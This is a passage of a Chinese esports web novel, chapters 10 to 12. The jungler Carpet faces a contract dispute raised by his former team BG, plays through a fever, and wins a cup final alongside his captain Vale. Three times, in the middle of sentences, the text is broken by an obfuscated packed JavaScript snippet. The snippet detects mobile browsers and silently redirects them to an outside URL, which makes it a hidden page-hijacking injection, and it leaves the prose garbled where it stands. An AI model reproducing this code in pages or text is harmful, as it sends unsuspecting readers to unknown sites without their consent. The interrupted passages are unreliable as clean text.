宋澈旁听他俩的对话很是无语,NPG到底有多喜欢压力测试,竟然一口气给他找了四个破绽。 “笨,你觉得咱们听教练的还是听监督的。” “监督呀,可是监督走之前不是说听教练的吗?” “那听监督的还是听Vale的?” ADC憋了半天,不好意思地挤出,“听予辞哥的。” 二队中单总结,“所以,从现在起你不用管卫教练的嘱咐了,正常打就行。总不能打一个小小的杯赛还成了团队的突破口吧。” 教练回来时脸色不太好,但仍然专业地完成了BP布置。 在NPG个人情绪永远要放在胜利之后,即使是教练也是如此。 恢复正常的NPG干脆利落地3:1掉对手,差点打了个玲珑塔。他们千变万化的状态让解说们摸不着头脑,只能归功于赛训组有帮助选手快速调整的招数。 宋澈收拾好外设回到休息室,谢予辞正在沙发上玩着手机等他,见他来了宛然一笑。 “走吧小澈,我开车了,你和扶砚可以跟我回去。要不要路上一起吃个晚饭?” 宋澈低声道谢,两人商量着去哪找李扶砚。 “对了,”谢予辞似乎想起了什么,“陈监督去哪了?” “监督第一把结束后打了会电话,没等第二把开始就走了。” 忽然一阵铃声响起。 谢予辞掏出手机,接听电话。 “陈监督,我在听。” “予辞,你是不是跑去T杯场馆了?” 谢予辞以为他是来兴师问罪,含含糊糊地“嗯”了一声。 “结束后就带着Carpet回来,别在外面耽误。” 谢予辞反应过来不对,“出什么事了。” 宋澈听到电话那头陈铎的声音清晰传来。 “BG带着赛区官方的工作人员来了,咬定NPG在签下Carpet的过程中存在违规操作,扬言要联盟立即对他做出停赛处罚。” 10. 第 10 章 两人叫上李扶砚往回赶。 路上辅助听闻此事,怜悯安慰道,“不会有大事的,你那个童工合同有什么可卡的啊,我合理怀疑他们都没给你交过五险一金,指不定谁告谁呢。” 宋澈正低头捣鼓手机,监督让他先把电子版合同发去,他根本没这玩意,只好努力翻手机相册试图找出一年前拍的照片。 他抽空从后视镜里瞄了眼李扶砚,欲言又止。想想还在开车的谢予辞,选择努力尽合格副驾驶的义务,不让殴打乘客的声音干扰到司机。 对他心思一无所知的中单还在跟团,“嗯嗯。” 李扶砚更来劲地出谋划策,“你到时候先进去谈,万一他们蹬鼻子上脸你就发条消息,我立马打消防电话把BG私搭乱建的破基地给点了,让他们无暇他顾。” 这已经完全进入敲诈勒索的忘我领域了。 宋澈严词拒绝,“你再胡说八道我就要请予辞哥靠边停车了。” 说点什么啊予辞哥! 谢予辞与他心有灵犀,扭过头来严肃地问,“小澈,你不会真的没交上五险一金吧?” 宋澈艰难说道,“不知道,BG是每周用微信转账发工资......” 谢予辞眼中渐渐带上几丝忧虑,宋澈看到了,逃避地把头抵上玻璃窗。 T杯场馆离队伍基地不远。 谢予辞让李扶砚先回宿舍,自己陪宋澈上楼。 宋澈亦步亦趋地跟在谢予辞身后。 行走间他的手被轻轻牵起,宋澈抬头,看见谢予辞笑着问,“小澈,怎么低着头走路?” 谢予辞的眉眼太柔和,宋澈胸口憋闷,忽然升起异样的冲动,“予辞哥,这件事会不会影响队伍的春季赛。” 千万不要因为我,令你忍着伤病的辛苦再次付之东流。 “你不相信我吗?” 宋澈否认,“怎么可能。” “那回想下在摄影棚我说跟你说的话吧。”谢予辞领着他往前走,“小澈,你其实不太适合打电竞。” 这话说得太唐突又太沉重,宋澈茫然追问,“予辞哥,是我今天做错什么了吗?” “不,你一直很优秀,在尽全力做到最好。”谢予辞停下脚步注视着他,“可是电子竞技不是游戏,是一个跟他人疯狂竞争的漩涡,用强烈的愤怒打碎别人的梦想来成全自己。Carpet选手,你能做到不受伤吗?” 宋澈沉默,在谢予辞面前没什么好隐瞒的,“予辞哥,我做不到。” 中单叹气,继续向上。 “抱歉,竟然说了泄气的话,也是,小澈今年才二十岁呢。” “总之相信你自己,你是这赛季NPG最好的选择。队伍很看重成绩,更看重利润,为此他们会不惜一切保住你的参赛资格。再说,今天你已经展现自己的水平不是吗?” 没等宋澈再回应,转过最后一个拐角,监督的身影出现在眼前。 “法务已经到了,你们沟通完情况后由他替你出面。” 陈铎领着他俩先进了小黑屋串供,西装革履的战队法务已经危襟正坐,等待组织布置任务。 监督看着面色沉重的打野,开口道,“我大概了解完情况了。BG原资方撤资,把选手合同转让给新资方时重签过合同。而这份合同的有效期卡在转会窗结束的当天,他们现在针对这一点控告我们违规接触。” 宋澈皱眉,合同到期前选手私下与其他队伍接触的确是违规行为,可是他们自求生路前都知会过BG征求同意。要是真老老实实等到合同结束,那转会窗都关闭了,结局只剩下宅在家做直播。 “今年离队的队员BG难不成要挨个告过一遍?”谢予辞帮宋澈提出疑问。 陈铎点头,“BG没承认,但我查了下BG前队员们的去向,联系了那些新队伍管理层,确认到NPG是他们今天到访的第三站。” 虚假的水鬼在季后赛暴起咬人搅乱排名,真正的水鬼把队员输送到联赛各队,等交易窗关闭后一个一个举报禁赛。 BG这通操作把跟着他们出警的赛区工作人员都看愣了。 你要干什么!你想毁了LPL吗! 法务也碰到了知识盲区,“把联盟和其他队得罪完,他们图什么?” “图钱。” 想图点什么倒好,NPG不缺钱,就怕BG是纯恶心人。 “开价多少?”法务看正题来了,不禁摩拳擦掌。 陈铎吐出数字,“二十万。” 宋澈快速寻思自己的存款,忽然感受到袖口被轻轻拉扯,便见谢予辞朝他微微摇头。 “二十万?他们也好意思张嘴!哪里的臭叫花子跑来打秋风了。”一声乍响,战队法务拍案而起,“他们把NPG每年七位数的法务和公关投入当什么了!把我的KPI当什么了!” 谢予辞幽幽道,“可能走薄利多销路线?一个队伍加上青训至少二三十位选手,一圈走下来顺利的话能把席位费挣回来了。” 到底是什么队伍一场比赛没打先靠卡合同创收,又是什么神人管理层把大量资金用来养法务和公关?宋澈为这二位的金风玉露一相逢深感生物链之奇妙。 case太小,法务一下子没了刚刚的精神头,“那上头是什么意思,破财赶紧把他们打发走?” 陈铎皮笑肉不笑,“不,我们一分都不给,坚决不能助长这种不良风气的气焰。” 宋澈手机微微一震,他躲着教导主任偷偷掏出来看。 谢予辞:陈监督的表情好邪恶哦。 宋澈:哭哭.jpg “你直接去跟他们对接,让Carpet专心准备T杯决赛。”陈铎安排好工作后,转身抓包两位旁听生,他郑重地问,“宋澈,最后我再跟你确认一次。你在次级联赛期间没有干过任何能被抓住把柄的事,对吗?” 宋澈笃定,“对。” “那这事就好办了,你回宿舍歇着吧。”监督摆摆手放他走,“予辞留下,先交待完你贿赂了哪个教练放你溜出去,咱们再说T杯的事。” 躲在打野身后的中单不情不愿地被留下罚站了。 宋澈也不想跟他分开,试图在旁边用沉默的等待向监督抗议,在收获了监督不赞同的目光后只得惴惴不安地离开。 今天发生的事情密度太大,让他的脑子有点木,几个小时后坐在宿舍客厅跟下路组吃上了外卖都没缓过神来。 【论坛】场外杂谈>>悲!糕酱今年的银河二八大杠开局不利 1L楼主 报!BG微博开庭内涵奶泡糕的新打野Carpet在合同期未满时违规接触其他队伍,奶泡糕誓死不赔违约金,BG要求禁赛联赛一把没打的车宠。 今年这五个人正不正确尚未可知,马上就要不完整了! 家里天气特别冷,我晚点把燃气打开把窗户关上免得风吹进来了(闭眼) 2L 二八大杠什么意思(O_o)?? 经济下行这么快?去年银河拖拉机好歹是四轮的。 3L 看完微博了,评论区总结的意思好像是BG在恶意卡合同,敲竹杠未遂被撅了。 4L xs,我是说笑死,果然是新老板,没听说过奶泡糕邪恶貔貅的大名。 5L 楼主别急,奶泡糕必不可能让打野位开天窗,也绝对不会浪费付完了的签字费。 这个点法务估计下班了,安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278594|198312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心等着糕酱的第七件装备,天亮发函。 6L 第七件?第一件!以为奶泡糕那套21世纪前四分之一叶LOL最强法务部是吃白饭的? LPL虽大,我们背后就是周边缝纫机和八百路代言!就算你是合同队,在我们营销的神面前也得低头! 7L 你说得对,但这就是奶泡糕,蝉联五届年度创收王的抠比战队。有985运营,有最严厉的法务,甚至养了营销号和大主播。为所欲为地践踏粉丝感情,谁阻碍他们赚钱就会立马切换姿态勿谓言之不预也,然后全部发函就啊啊啊啊啊啊啊啊! 李扶砚巡完一圈论坛,见他还在机械地往嘴里塞东西,也是对这位口是心非的玻璃心打野失语了。 “别惦记了行不行,又不是你的错,要不你就当成这二十万是送给我了吧。”李扶砚头疼道。 宋澈嚼嚼嚼。 “扶砚哥你管他做什么?”林冬均不太满意,“这点心理素质都没有还打什么职业啊。” 李扶砚骂他,“你能不能踏实吃饭,炸串还堵不住你的嘴了是吧?” 客厅里吵吵闹闹,队友照顾他的心情在活跃气氛,宋澈实在无心回应。 T杯半决赛打到一半队友开演,教练的不友好摆在了台面上,还没在新队伍站稳脚跟就出现合同纠纷。 周末还有决赛要打,他得理清思绪才行,却越想越乱,状态还不如白天。 至少那时谢予辞在他身边。 予辞哥今天为什么会出现在场馆?是特意来看他的吗? “要不你今天晚上冲浪放松放松?咱们粉丝都比你乐观。”李扶砚小心翼翼地支招,“或者明天训练前咱俩来几局海克斯大乱斗?” “不行,我不许!要打也是先跟我打。”少爷AD继续添乱。 宋澈没仔细听便胡乱应下,把自己那摊东西收拾好,一个人回了房间。 林冬均隐约在身后问,“......扶砚哥,他是不是在挑衅我?” 搬进NPG宿舍后第一次,宋澈没再自己Rank,他躺在床上听着外面的动静。下路组没过多久便各自回房了,窗外的月亮升起,独自加练英雄池的上单叮铃咣当地推门而入。 宋澈一直等到月亮将要西沉,也没听到那道细碎的脚步。 他不知不觉间沉沉睡去。 “......小澈,小澈?醒醒。” 睡梦中,宋澈迷迷糊糊竟然梦到谢予辞出现在自己的房间里,他被自己不知所谓的梦无语到了,准备翻个身时扯不动被子,霎时间发觉不对劲。 没时间悼念被窝了,他猛地坐起身,“予辞哥,我在!” 一阵天旋地转的晕眩感传来,把他完璧归赵。 折腾一遭,宋澈总算清醒了些。昨晚没拉窗帘,窗外已经大亮,谢予辞俯身坐在他的床边,一脸担忧地看着他,手里还端着水杯和药片。 “予辞哥,我没说错吧,这个人精神肯定有问题,能不能再考虑考虑下赛季打野人选。” 林冬均犀利的言辞响起,宋澈才勉强把视线从谢予辞身上移开,注意到了倚在门框上的ADC。 谢予辞把东西放在床头柜上,扶着他坐起身子,“小澈,冬均今天中午发现你一直没起,叫门也不应,进来发现你发烧了,赶紧去叫得我们。” “队医马上就来,先吃了药休息一会吧。” 林冬均发出不屑的鼻音。 宋澈这才慢半拍地感到四肢百骸传来的疼痛,这是高烧的前兆。 他心中一紧,不自觉抓住谢予辞的衣袖。 今天已经是周五了,在这种撑起身体都做不到的状态下,明天下午的T杯决赛要怎么办。 11. 第 11 章 谢予辞哪能不知道他在想什么,“这种事情急不来,明天能不能上场我们听队医的安排。” 盯着宋澈吃完药,谢予辞和林冬均没法陪他太久。教练组催命的信息一条接一条,谢予辞先出门一步去认错。 落后的林冬均把一板退烧贴抛到了宋澈脸上,抬起下巴,“你最好明天能爬起来,成天耽误其他人的时间,呵。” 说罢拂T恤袖而去。 宋澈很不希望用看傻子的态度对待别人,但不得不说他上次见到如此标志的傲娇还是十岁看灼眼的夏X。性格不定的小学生第二天就被电脑屏幕里中单选手帅气的操作吸引,下载了某款丧良心MOBA游戏,从此与做一位文明懂礼貌的高素质少先队员无缘。 八百倍速的竞竞世界少了个可怜兮兮的卧病打野无关痛痒,只有二队和青训的替补打野们摸着发痛的良心,绷着嘴角来一队上班。 队医没过多久来了,给他扒了衣服打了一针便匆匆撤退。发烧让他的感官变得迟钝又敏感,药效上来得很快,但随之而来的并非安稳的睡眠,而是浮木般飘摇的眩晕感。 宋澈抱着被子,忽然回想起他单方面对谢予辞的初见。 三年前,他还只是个在青训营里被刷野计算搞得焦头烂额的绝望九漏鱼。那年NPG训练室的暖气不如现在开得热,冬天流感来势汹汹,整个青训队倒了一半。 宋澈十七岁,没受过社会生活毒打,脾气比现在硬多了。少年的自尊心上头,不愿意给别人添麻烦,更不想示弱,烧得迷迷糊糊还硬撑着用冷水洗了把脸,坚持坐在电脑前。头晕脑胀下手抖错失了一个惩戒,被卫珂教练当着全队面骂得狗血淋头。 那会他跟谢予辞不熟,没人会安慰他“怪打野拼惩失败的时候,怎么不反思下你为什么把对面打野放进来”。 反正爸爸妈妈不在,也不会有人在意我。 Carpet梗着口气惦记,只要我不说,只要我还能动,我就不要用生病当打得菜的借口。 他记得那天训练结束得很晚,所有人都走了,他趴在桌子上,脑袋里还在思考着下一局的刷野路线。 然后,一只微凉的手贴上了他的后颈。 “怎么这么烫?” 那时候的谢予辞已经是双冠中单,是召唤师们遥不可及的目标。他应该在光鲜亮丽的舞台上接受欢呼,额,或者满世界飞来飞去跑商务?总之不该是出现在乱糟糟的青训基地里,弯下腰,看着一个名不见经传的青训生。 那天晚上的记忆很模糊,宋澈只记得谢予辞把他送回宿舍时外面在下雪,队长的围巾上有好闻的香味。 大概一个月后,他成了那届青训生里留到最后的打野,全部筛选结束的那天,NPG通知他接下来每周Vale会来青训队跟他培养默契。 他想把围巾还回去,却听谢予辞兴致勃勃地向他自我介绍打招呼。 忙得团团转的队长不记得那晚在基地角落犯傻的小打野了。 这样也好。 一如初见。 第二天来得太快,宋澈是被闹钟震醒的。他勉强爬起来换上队服,每一步都踩得虚浮。他在镜子里看了看自己,高烧未退脸色苍白,眼眶泛着不自然的红。 到达比赛场馆时气氛有些凝重,大名单已经报上去了,如果这时候换替补,NPG前期做的一切运作准备都会白费。 见他明显的病态,卫珂教练脸色略显阴沉,“这就是你给我的身体状态?宋澈,我宁愿上二队选手玩肉,也不会让你这个时候上去送。” “我可以打,我会比半决赛做得更好。”宋澈嗓子哑得厉害,却没有半分退让。 “你拿什么保证?” “这是我的决赛。” 教练并不明白选手的言下之意。 “这是团队的决赛,让你玩野核只是一种战术安排。”卫珂毫不客气地打断他,“你要对四个队友负责——” “让他上。”角落里闭目养神的谢予辞睁开了眼,他今天眼底有一圈淡淡的青色,显然昨晚也没睡好。 他站起身,走到宋澈面前,径直看向卫珂,“卫教练,我知道您担心小澈。但相信自己的选手,不正是教练的职责吗。” “今天我会上场,如果他的节奏出问题,责任算我的。” “毕竟只要三线是优势,野区就算是陈监督上场也不会输。还是说卫教练觉得我会输线?”这句话从谢予辞嘴里说出来理所当然得像是在陈述峡谷的定理。 卫珂被噎得够呛,质疑Vale会不会输线?全LPL谁敢点头。 他又不能真对谢予辞说重话,最后窝囊地来了句,“予辞,你不用说到这个地步。” 二队几个选手因为教练吃瘪偷偷腹诽,谢予辞没有,他诚恳补充,“您放心,不会有事的。我们都清楚,能在这种状态下还坚持站在这里的人,脑子会比任何人都清醒。” 卫珂没招了,自暴自弃,“好好好,上,让他上。” 比赛在下午三点开始,十二点整,官方公布了决赛双方大名单。Vale将要首发出场的消息发出后,原本销量不佳的决赛门票在几分钟内便售罄了。 原本骂骂咧咧嫌弃场馆太偏僻的粉丝们瞬间换了副嘴脸。 嗡—— 厚重的隔音门被工作人员从外面拉开,空调暖气裹挟着山呼海啸般的声浪,瞬间灌满了整个通道。阵仗之大压根不像一场小小的季前赛。 气氛已经被调动起来。解说席上,两位解说正在介绍今天的对阵双方。 “好的!各位观众!欢迎来到‘Ascend the throne’的决赛!!” “登上王位之路就在眼前,二十余支来自不同级别联赛的队伍齐聚一堂,经过半个月的角逐,谁能走到最后?” “现场的观众朋友们!让我们用最热烈的欢呼声,欢迎即将登场的两支战队!今天的比赛将由NPG对阵LGE,NPG这边派出的是以Vale和Carpet这对中野为核心的阵容,而LGE则是满编一队出战,实力不容小觑!” LGE是联赛中游队伍,每年季后赛一轮游水平,这次T杯他们干脆全主力上阵。 “虽然T杯的含金量不如联赛,但对于NPG的新打野Carpet来说,这是他职业生涯的第一场LPL级别的正式决赛。“另一位解说补充道,“而且据我所知,Carpet选手这两天身体状况不太好,不知道今天的发挥会如何。” “那就让我们拭目以待吧!BP已经开始了。” NPG的BP策略很明确,围绕中野打。 “欢迎来到英雄联盟。” 熟悉的召唤师峡谷在眼前铺开,外界的喧嚣瞬间远去。宋澈的手指搭在键位上的瞬间,高烧带来的不适感被渴望胜利的强烈本能压了下去。 游戏语音里谢予辞的指挥冷静而清晰,“我处理完对面就来帮你。小澈,你的上半区要小心他们反野,这把他们肯定会针对你。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278595|198312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “不。”宋澈反驳,“予辞哥,看我的位置。” 我不是为了躲在你的身后才回到这里的。 他选的是盲僧,一个极度考验操作者状态的英雄。 游戏时间不到四分钟,宋澈没有按照常规路线刷完双BUFF,而是在二级打完红后直接摸进了对面中路的视野盲区。 都说这版本的打野就像见不到面的异地恋情侣,两个人在野区疯狂意银对面在干什么,总怀疑对方偷吃,一旦见面便顷刻间干的昏天黑地。 经典《这是一次豪赌》!如果在野区遭遇对方满状态的打野,或者被视野发现,他这局都要烂掉。 屏幕中,对面的中单走位靠前了一步去补炮车兵。 就是现在! 没有丝毫犹豫,盲僧摸眼W过墙,身形出现在对方身后,E技能拍地板减速。谢予辞的发条魔灵早在等待着这一刻,几乎是同时QW指令发出,法球如附骨之蛆般跟上,打出了一套满额的电刑伤害。 盲僧一血到手。 “NICE!”下路正在补刀的ADC忍不住喊了一声。 高烧让宋澈的身体很难受,但精神却处于一种诡异的亢奋状态。盲僧小透般在峡谷里穿梭,每一次都能精准地反蹲到对方试图gank的打野。 25分钟大龙团前拉扯中,NPG的沟通出现了失误,辅助先被开到,阵型被冲散。对面AD位置极其刁钻,而宋澈被卡在六鸟墙背后的视野阴影里。 他没有退路了。 天音波出手,Q到了小兵,解说席上正一片惋惜。然而下一秒,盲僧二段Q跟进,半空中摸眼打断,空中接R! 盲僧硬生生从千军万马中将对方最肥的ADC踢回了NPG的人堆里! 而发条的大招早等在落点处。 超前发育的发条冲击波伤害毁天灭地,对方选手瞬间融化。 团战结束,屏幕上跳出的“ACE”字样鲜红刺眼。 1:0 全场沸腾,宋澈松开鼠标,他感觉不到发烧的滚烫,只听得到耳机里也无法隔绝的欢呼声,以及谢予辞在那个混乱的团战语音中大声的夸赞。 “配合得不错嘛,小澈。皮肤选盲僧~” 予辞哥,怎么连你也贷款上了? 算了,跟你这种信用评分800+的人没话说。 第二把NPG前几手阵容拿得扎实,出于保护选手的考虑,赛训组让他玩了把蝎子。 宋澈完美地执行了谢予辞交给他的任务,团战死盯着对面脆皮开。不贪多,只求开到一个关键C位。 对面ADC:(等我双招)(等我无尽)(等我轻语)(爆炸吧我先点了) 游戏结束,他看到对面ADC生活不能自理般地缩在辅助怀里独自崩溃。 2:0 在这场迟到多年的决赛上手握三个赛点,宋澈内心是解脱的如释重负。 站在离最初的起点只差一步的地方,青训营里漫长的等待,次级联赛中无望的前途似乎都已远去了。 把能决定生死的刀握在手里,就没人能拦得住你追猎自己的命运。 嘈杂被隔绝在耳机外,唯有谢予辞的一切在白噪音中格外清晰,“小澈,选吧。” 宋澈连一丝犹豫都没有,在倒计时归零的前一秒,他移动鼠标,直接掠过了那排笨重的坦克英雄。 清脆的锁定音效瞬间引爆全场。 ——永猎双子,千珏。 12. 第 12 章 “锁定了,NPG红色方的四五楼两选是千珏加里奥这对中野组合!看来正如Carpet在次级联赛时坚持的那样,即使转会后他也依然没放弃对于Carry的执著。虽然千珏是对面打野婕拉的counter位,但我们已经将近一年没在这支队伍里看到野核英雄取胜了。” “没错,这在NPG可是相当少见。众所周知,他们一贯的胜利公式都是选中后期发力的大核双C,通过选手出色的对线基本功和Vale的兵线运营理解,平稳过渡到团战阶段,依靠英雄强度一举定胜负,上野辅只需要拿先手或前排英雄稳准阵型即可。” 解说们的兴奋溢于言表。 屏幕上身携狼灵的羊灵跃动,宋澈听到耳机里教练因他的选择而发出叹气。 千珏,永猎双子,野核中对操作要求非常高的英雄之一。召唤师需要在前期不断入侵野区叠加印记,才能在后期发挥出应有的威力,同时印记刷新的位置又很看运气。 这意味着打野要在整场比赛中承受巨大的压力,稍有不慎就会成为突破口。 教练看选手不顺眼归不顺眼,NPG依旧是一支相当成熟的队伍,有着自己保护选手的一套准则,教练组并不想让状态不好的队员选择可能会背锅的英雄。 但中单认可了他的判断。 基地里,陈铎监督坐在一队的训练室,面色平静地盯着谢予辞的选择。 “予辞选了加里奥,他要把舞台让给Carpet了。” “宋澈疯了吗?这种状态下玩千珏?”李扶砚不理解疯子的想法,他掩不住震惊。 林冬均嘴唇抿成一条线,小声说:“反正予辞哥会保他的。“ “可是......” 周衡坐在最边缘,上单选手笑了一下,“有意思。这小子,是真的在意证明自己这件事。” 【啊,千珏??死去的回忆在攻击我】 【老实没两局就又开始藏不住了,这帮野区耗材能不能别想着秀了?】 【我说谎了,S赛半决五ban打野抢了个野核盛大暴毙,Arrival那个私人犯的剑我一天都没有忘掉过】 【Carpet又不是Arrival。再说至于吗,不就是个T杯?早点发现病情总比冒泡赛回家局给你整个大的好吧】 【别怪粉丝不看好,NPG这个队建队以来,加上替补换了两位数打野,哪个能打出成绩的不是给Vale玩工具人?】 【所以才要求变!NPG为什么多年无冠?策划就是针对你大核双C,一到世界赛就加强上野影响力,你怎么办?难道还要像这次一样再等五年吗!Vale的职业生涯还有几个五年可以等!】 【相信他,相信Vale,由我们主动出击,而非把希望寄托在缥缈虚无的版本变动上。】 宋澈不知道外界纷杂的议论,人声鼎沸,聚光灯晃得眼花,他微微侧过头,看向身旁的谢予辞。 谢予辞搭住他的手,“按你的节奏来,我会跟上你。” 解说在做最后的赛前总结。 “NPG手握三个赛点,好整以暇静候对手的挑战。究竟是NPG打破野核魔咒,还是LGE捍卫一队尊严,让我们与十位选手共赴召唤师峡谷!” 游戏开始,千珏优雅地走出泉水,千秋万载间狼灵追随着羊灵的脚步,这对象征死亡的精魂互相独立,却从未分离。 宋澈没有像常规打野那样走向己方的BUFF区,而是一头扎进了对方的野区。 “Carpet一级就入侵了,这是Rank高分段的常见决策,但放在比赛中非常冒险!可惜LGE没有意识到,三线都常规上线了,不然只要前期杀一次千珏,这局或许从第一个野怪就能分出胜负!”解说提高了音量。 宋澈清楚自己的劣势在哪里,对面打野一轮刷野效率比千珏快太多,如果镜像开顺刷或者常规红开,他的第六组野怪很有可能保不住,进而带来的问题是无法在争夺河道蟹时达到四级。 这个时间点野区里只有六组野怪和一个河道蟹,任凭你如何翻腾,打野能获得的经验和经济是固定的。 所以他不要野怪,他要对手人头的那三百块。 李扶砚猛地从沙发上坐直了身体,死死盯着屏幕,“不是吧,玩真的啊?” 谢予辞报信息,“在下野区,对方中单去不了。” “好。” 第一发箭矢穿透空气,精准地命中正在拉扯着红BUFF的婕拉。对方打野显然被这突如其来的袭击吓了一跳,仓促间回身放出的技能被宋澈走位躲掉。 你的大限已至。 准备好了没? 平A,走位,再平A。 迅捷步法的天赋被触发,千珏死死地黏住婕拉。对方打野慌乱之下交出闪现,宋澈冷静地判断着对手闪现落点,闪跟闪。 他的身影如影随形地出现在婕拉面前,拉弓,最后一发附带着死亡气息的箭矢脱弦而出,没入了婕拉的后心。 “First Blood!” 系统提示音与解说激动地喊声混在一起,响彻峡谷。 “Carpet的野区开局完美规避掉了婕拉Gank线上的风险!但是对面下路双人组有线权,他现在要考虑如何撤退了。” 话音未落,LGE的辅助已经放弃线上,直接往野区赶。 宋澈没有去看自己见底的血量和身后姗姗来迟的对手,而是操控着千珏,不紧不慢地开始攻击那只被婕拉打到半血的红BUFF。 因为加里奥的支援更快。 谢予辞的加里奥竟然在面对长手法师的情况下拿到了中路先推先动的主动权,正义巨像在野区交出技能挡住了对方辅助的去路。 收下红BUFF千珏升到二级。走进F6旁的草丛,按下了回城键。蓝色的光圈将他笼罩,八秒之后,他带着一血的经济优势和双BUFF回到泉水,而婕拉的野区已经为他敞开了大门。 下一个印记刷新在下河蟹上。 宋澈毫不犹豫,直接朝下河道走去。不甘心就此放弃的婕拉也意识到了,叫来中辅帮守,两个打野在河道遭遇。 解说喜闻乐见,“狭路相逢!要打起来了!” 宋澈分心在河蟹血量上,一不留神被婕拉技能捆住。但下一秒,英雄登场的法阵在千珏脚下亮起! “继续打,我能来。”谢予辞说。 中单直接交大支援。 正义巨像从天而降,击飞了冲上来的对手中野。NPG下路组围射救野,逼走LGE辅助。千珏拉开距离,平A配合Q技能的伤害,轻松拿下印记。 解说感叹,“看起来Vale的决心异常坚定,就要围绕着Carpet打。他宁可放弃了中路一大波兵线,也要保证千珏拿到印记。” 比赛进行到十分钟,千珏已经叠到了四层印记。 宋澈的千珏在野区如鱼得水,每一次印记刷新,中单都会提前调动队员配合。而一旦对方打野试图反击,加里奥的支援总是来得恰到好处。 LGE的打野已经开始崩溃,“这怎么打?Carpet是疯子吗!一级入侵,当着三个人的面先开河蟹,他怎么敢的?” “Vale竟然也心甘情愿给他干脏活累活。他们这么干教练没意见吗?” 十五分钟小龙团,双方在龙坑附近展开拉扯,LGE先落位开动,“不能再让千珏继续发育下去了,这样就是慢性死亡,不如搏一把!” 解说发现了他们的意图,“LGE五个人趁着最后的强势期抱团要接这条龙!可是NPG会放吗?” “不会!他们要打!”另一位解说喊,“千珏已经绕到了侧翼!加里奥在正面卡住,不让位置!” 团战一触即发! LGE的辅助开团,闪现控住了NPG的ADC。对方五个人一拥而上誓要秒掉脆皮射手,加里奥飞速反应过来开大,但减伤明显不够。 “我死了,撤吧。”二队AD准备双手离开键盘。 就在这时,千珏羊灵生息的结界在人群中绽放。金色的光晕笼罩了战场,结界内的友方、敌方或中立单位不会阵亡。 打野的声音跟操作一般冷静,“还没输,继续打。” NPG的阵型没有崩溃,反而在结界的保护下重新调整。大招结束的瞬间加里奥的嘲讽控住了对方的双C,千珏跳跃而出,狼灵撕咬着羊灵射击的目标,手中的弓箭化作死亡的宣判。 Double kill! Triple kill! Quadra kill! “四杀!Carpet的千珏拿到四杀!这个团战打完,LGE要溃败了!” 比赛进入垃圾时间。拿到巨大优势的NPG开始了教科书般的运营,千珏的印记已经叠到了十一层,装备成型后的伤害让对方根本无法承受。谢予辞的加里奥则始终守护在千珏周围,用自己的控制和坦度为千珏创造输出空间。 二十八分钟,NPG推上高地。 LGE还在做最后的殊死抵抗,但千珏撕碎吞噬着逃避死亡之人的灵魂。最后一座门牙塔倒下,水晶在千珏的箭雨中爆炸,庆贺的冷烟花和彩带喷射而出。 “让我们恭喜NPG,3:0,NPG以压倒性的比分拿下了本届T杯冠军!Carpet!这位新人打野用完美的节奏向所有人宣告,他或许就是NPG一直在等的那个打野!” “Vale用自己的经验和判断,为新人铺就了通往王座的道路。当然我们也不能忘记来自NPG二队的几位小将,他们的出色发挥是NPG一路走到决赛的基石。” “赢了——!!!”二队AD几乎是从电竞椅上弹射起来,一把搂起身边的辅助,“我们是冠军!我们赢了!” 没去管队友们语无伦次的庆祝声,宋澈在水晶爆炸的第一时间摘下耳机,看向了身边。谢予辞也正转过头来,眼中含着笑意,对他张开了手臂。 高烧带来的迟钝感和肾上腺素褪去后的虚弱感涌上来,将他包裹,眼前璀璨的灯光晃动成一片模糊的光晕,耳边的粉丝们的欢呼也变得遥远。宋澈站起身,毫不犹豫地走过去投入了那个怀抱。扰人的种种随之远去,隔着薄薄的队服,他能感受到中单有力的心跳和微凉的体温。 现场的摄像机迅速捕捉到了这一幕,大屏幕上新晋的打野选手埋首在队长的颈窝,两人随即又跟赶上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278596|198312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前来的队友们拥抱在一起。 T杯只是一个小小的季前赛杯赛,冠军奖杯甚至没资格摆在NPG基地那间琳琅满目的荣誉室里,选手们胜利时刻获得的纯粹的快乐却不曾“含金量”三个字有丝毫损减。胸中涌动的热流一下超越了气馁、自厌和痛苦,命运抛下了一点甜头,诱使他们不懈追逐焚身的火焰。 赛后的MVP颁发毫无悬念,宋澈被主持人请到了舞台中央,聚光灯打在他身上,高烧泛红的脸颊在镜头下为他染上奇异的神采。 “恭喜Carpet选手,也恭喜NPG获得了本次T杯的冠军!”主持人将话筒递给他,“作为你在NPG的第一个冠军,现在心情如何?有什么想对支持你的粉丝们说的吗?” 宋澈视线扫过,游戏中观众们为他的操作牵肠挂肚,一次次沸腾,此刻全场又为他安静。 